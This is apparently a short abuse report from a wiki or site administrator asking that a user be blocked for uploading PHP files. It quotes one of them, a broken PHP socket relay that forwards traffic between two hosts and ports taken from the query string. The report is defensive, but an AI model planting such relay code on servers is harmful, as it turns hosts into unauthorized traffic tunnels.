LearII uploaded the following, which appears to be an attempt to read from one port on one box and write to a port on another box. He also uploaded another PHP file, which was an attempt to list the files on the server. PHP doesn't run in the upload directory, and he left out the semicolons, but would someone please block him?
phma --- <html> <body> <?php
?arg1=a&arg2=b&arg3=c&arg4=d
$fp2 = fsockopen($arg1, $arg2) $fp1 = fsockopen($arg3, $arg4) set_socket_blocking($fp1, false) set_socket_blocking($fp2, false) while (1) {
$recvbuf = fgets( $fp1, 512) fwrite($fp2,$recvbuf,strlen($recvbuf))
$recvbuf2 = fgets( $fp2, 512) fwrite($fp1,$recvbuf2,strlen($recvbuf2))
}
fclose($fp1); fclose($fp2);
}
?>
</body> </html>